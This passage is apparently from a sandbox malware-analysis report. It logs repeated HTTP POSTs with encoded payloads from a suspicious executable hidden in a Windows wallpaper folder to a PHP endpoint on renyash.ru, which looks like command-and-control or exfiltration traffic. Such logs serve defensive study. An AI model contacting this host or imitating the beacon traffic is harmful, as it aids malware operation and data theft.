Jan 1, 2025 15:18:17.108611107 CET	1056	OUT	Data Raw: 54 57 54 55 5f 5d 52 5d 59 5b 5a 5a 52 5e 5b 5d 55 5b 5a 5f 57 5f 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TWTU_]R]Y[ZZR^[]U[Z_W_[[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]';<00"W7_)(=-%'*9$<T"W-&;]?7Z;9]//_ 0
Jan 1, 2025 15:18:17.198178053 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:17.466197014 CET	815	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mko8sPGNHiiXUf8GSoDlAeD0Qa8DsImRX7%2FpbFIO%2FRR7XKgz26FLB7YtcV4XZkf92jtXnIetDry1iu%2BausAdm5nPdQtr8F4%2B%2Frf0OXPk%2FE%2FNQmZ%2BdArnyRKUO2bHi8Ts0JTN4NoV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323413a998c89-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2352&min_rtt=2009&rtt_var=1439&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=307174&cwnd=201&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49979	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:17.592695951 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:18:17.936709881 CET	1056	OUT	Data Raw: 51 52 54 52 5a 5a 57 5d 59 5b 5a 5a 52 5a 5b 50 55 5c 5a 56 57 5f 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QRTRZZW]Y[ZZRZ[PU\ZVW_[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$803)##!+<($(>)%)>& !!%'<'[8*9]//_
Jan 1, 2025 15:18:18.050091028 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:18.264702082 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pVPg5GjAaRhB0%2Fgbshg1qhRStYIqz%2FpWJW1XuNDAxDzJ9g6utAQW8297Lzig3vFgFX33zyVTSUtkAuB%2B%2FuVpAKhug96rKBuXH53XGb%2Bys0J5wJibpur9Kng%2Fb3tlgbwckQMOup3R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323468cbf43e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3709&min_rtt=1776&rtt_var=4532&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=84686&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49984	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:18.398761034 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:18.749213934 CET	1056	OUT	Data Raw: 54 53 51 55 5f 5b 57 5e 59 5b 5a 5a 52 53 5b 50 55 54 5a 56 57 5e 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TSQU_[W^Y[ZZRS[PUTZVW^[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'-<3^&*+6!7(80(.P0=P&<!1[%(<3;9]//_
Jan 1, 2025 15:18:18.848855972 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:19.105222940 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tk2UNnuwJofCb%2FrMEqcJzWcJy0JogDB6xO48cMMqLzNpKEqcUmnCTRTPmqoR%2BBHuDPSagd0oHLu%2BjWMkqAYKEPRsACkjgijl25Wcff0UsU37in2xAc%2B1bvyVVNql2AVTmctp1Zw%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3234b792c3300-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8019&min_rtt=1962&rtt_var=12850&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=28957&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49991	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:19.247596025 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:19.592863083 CET	1056	OUT	Data Raw: 54 52 51 57 5f 57 57 5c 59 5b 5a 5a 52 5e 5b 50 55 5c 5a 57 57 5b 5b 5a 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TRQW_WW\Y[ZZR^[PU\ZWW[[Z[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$B,<3Z'8Z#1)((.!31&Z4!!2X&/$+.3Z,9]//_ 0
Jan 1, 2025 15:18:19.699151039 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:19.886532068 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qDf3oYj11mQpPCOJV7C%2BJ%2BqzodvMdX29BSiweDZqPQpc2zbIAqByssWd%2Bf2xcvV8geNeTt%2BGlFu7JveJWIB63DBpI7caq3tMw1FSsQX%2BRidQQPczmzPBlM%2Bdglvbqkt9hxsm1R1j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32350ccef185d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5449&min_rtt=1593&rtt_var=8311&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=44995&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49997	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:20.020037889 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:20.374209881 CET	1048	OUT	Data Raw: 54 55 51 55 5f 5a 57 5c 59 5b 5a 5a 52 5b 5b 5e 55 5b 5a 5e 57 5a 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TUQU_ZW\Y[ZZR[[^U[Z^WZ[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$C/,('*##1<8/]?5T%9!&$52"X1Y?+>,:9]//_
Jan 1, 2025 15:18:20.464008093 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:20.644427061 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fBX5dHiw3egTPfS4w6j0TOgbRCdTOh0BsFrRz9F0Nv4D%2F8B7mh6fdSQFvuQYHqNmh6NnwnhYeeGYTZhtIvKeC7eoi771unqFAcpNR63P8LaTE5I3NYlL2F0sCY9QWn%2Fx6cH6tKX6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323559d8f439d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1983&min_rtt=1738&rtt_var=1142&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1376&delivery_rate=394487&cwnd=200&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50003	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:20.767016888 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:21.130980015 CET	1056	OUT	Data Raw: 51 57 54 57 5f 58 52 59 59 5b 5a 5a 52 5e 5b 5e 55 55 5a 56 57 51 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QWTW_XRYY[ZZR^[^UUZVWQ[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$8,0$)051+X?$<X"':%,W61"X%(88:9]//_ 0
Jan 1, 2025 15:18:21.269239902 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:21.431804895 CET	815	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mvuq0%2FyuQeXJS95Dl%2FBEiRIJk2Ars7T7mfBep1J%2BXq%2BRpfuj0Lz71MYjMCNvV3n1tbsA%2FL3S%2FaKl1FVVJctY%2BicxLI7defIfuoWSiomOxNf34A%2FgNqtjM4fm1cTuJGLPs1qJeYs4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3235a8fbc423a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6460&min_rtt=1705&rtt_var=10149&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=36734&cwnd=169&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50004	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:20.770281076 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:21.130554914 CET	1328	OUT	Data Raw: 54 50 51 52 5f 56 52 5d 59 5b 5a 5a 52 58 5b 5e 55 58 5a 58 57 50 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPQR_VR]Y[ZZRX[^UXZXWP[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$E8<3)(#!;)+??.=W'*=1?(6!&Z1<3_?>'[-:9]//_ (
Jan 1, 2025 15:18:21.270236015 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50009	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:21.590388060 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:18:21.939086914 CET	1056	OUT	Data Raw: 54 53 54 51 5a 58 57 5b 59 5b 5a 5a 52 5c 5b 5e 55 5a 5a 57 57 59 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TSTQZXW[Y[ZZR\[^UZZWWY[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$B8/'':<6<);/\(>3:61<8!261< +>(/9]//_
Jan 1, 2025 15:18:22.045941114 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:22.309005022 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B44nIveHaut0dEPvHFpcc34eLBQA%2FlzvdCxPC%2BIV9BrK8Q5yDJRn36kfAMZjB%2F4xgQPIzSpCMFfmO7Jy9dKiHma5X3O%2FeR0IcBrXfTdqHjhWgvs%2BlD1BCtVu0WG6ui9xMDalntRM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3235f7f2c0f47-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4613&min_rtt=1671&rtt_var=6512&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=57908&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50016	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:22.437045097 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:22.796077013 CET	1056	OUT	Data Raw: 54 52 54 5f 5a 5b 52 59 59 5b 5a 5a 52 59 5b 5a 55 5b 5a 5a 57 5f 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TRT_Z[RYY[ZZRY[ZU[ZZW_[[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$A,<('<]61_(('?.$:Q2Z7W"!!'/?^+=78:9]//_ ,
Jan 1, 2025 15:18:23.119419098 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:23.343281031 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6nMqxhkH0%2Fgh7tOm1qYIkTbX4pSpgloc6%2FpzyufQxhyK7qCZU7veh9z9wquxVtdQTHurIyV528NIsDpADjp9ZsskaKHsqrPvTPfo7kRrc8kMwhPX3zRzEXTC3TvWc8NR0mBHGfoW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323660ef7440e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=81137&min_rtt=71806&rtt_var=33593&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=20332&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50022	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:23.470555067 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:18:23.827246904 CET	1056	OUT	Data Raw: 54 54 54 56 5a 5c 57 51 59 5b 5a 5a 52 59 5b 5f 55 58 5a 57 57 5e 5b 5d 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TTTVZ\WQY[ZZRY[_UXZWW^[][YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'-/X'" </]<>'\5$,!)1Y/<'/*9]//_ ,
Jan 1, 2025 15:18:24.109386921 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:24.279647112 CET	812	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kXKYAL%2FVEJ3AU%2FAkaHojRpeLL1Hel1PPY%2FotrFfDPKkuwn6FkqjD540W3phKONt07%2BzJ%2FwiNGfroTFzUCTDRsrMzleFXJapCOcVW%2BhN6kENnn3e89hLSEmmXBC3h9tnn4mHr1hW8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3236c3b37f78d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13788&min_rtt=4524&rtt_var=20225&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=18566&cwnd=103&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50028	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:24.692778111 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:25.045974016 CET	1056	OUT	Data Raw: 51 50 51 52 5f 5a 57 5a 59 5b 5a 5a 52 58 5b 50 55 5f 5a 5e 57 5a 5b 56 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QPQR_ZWZY[ZZRX[PU_Z^WZ[V[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$-?$38"W?]<8,(>!V'6%<6>%<3_?'\-9]//_ (
Jan 1, 2025 15:18:25.234044075 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:25.456104040 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GFRhcnDimA7aiH1FxToi39cqM5s4BeiU7tvZzSxdqBKtekjCL3t9olsNpzwF2w28OcBUo9cTP8A6gQou4XZut3KFq%2BCc0iZUHn7zCKYS0hwked6Qo6nFL95mkFessCxc%2B71wzumB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323732b12238e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10326&min_rtt=1998&rtt_var=17406&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=21274&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50034	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

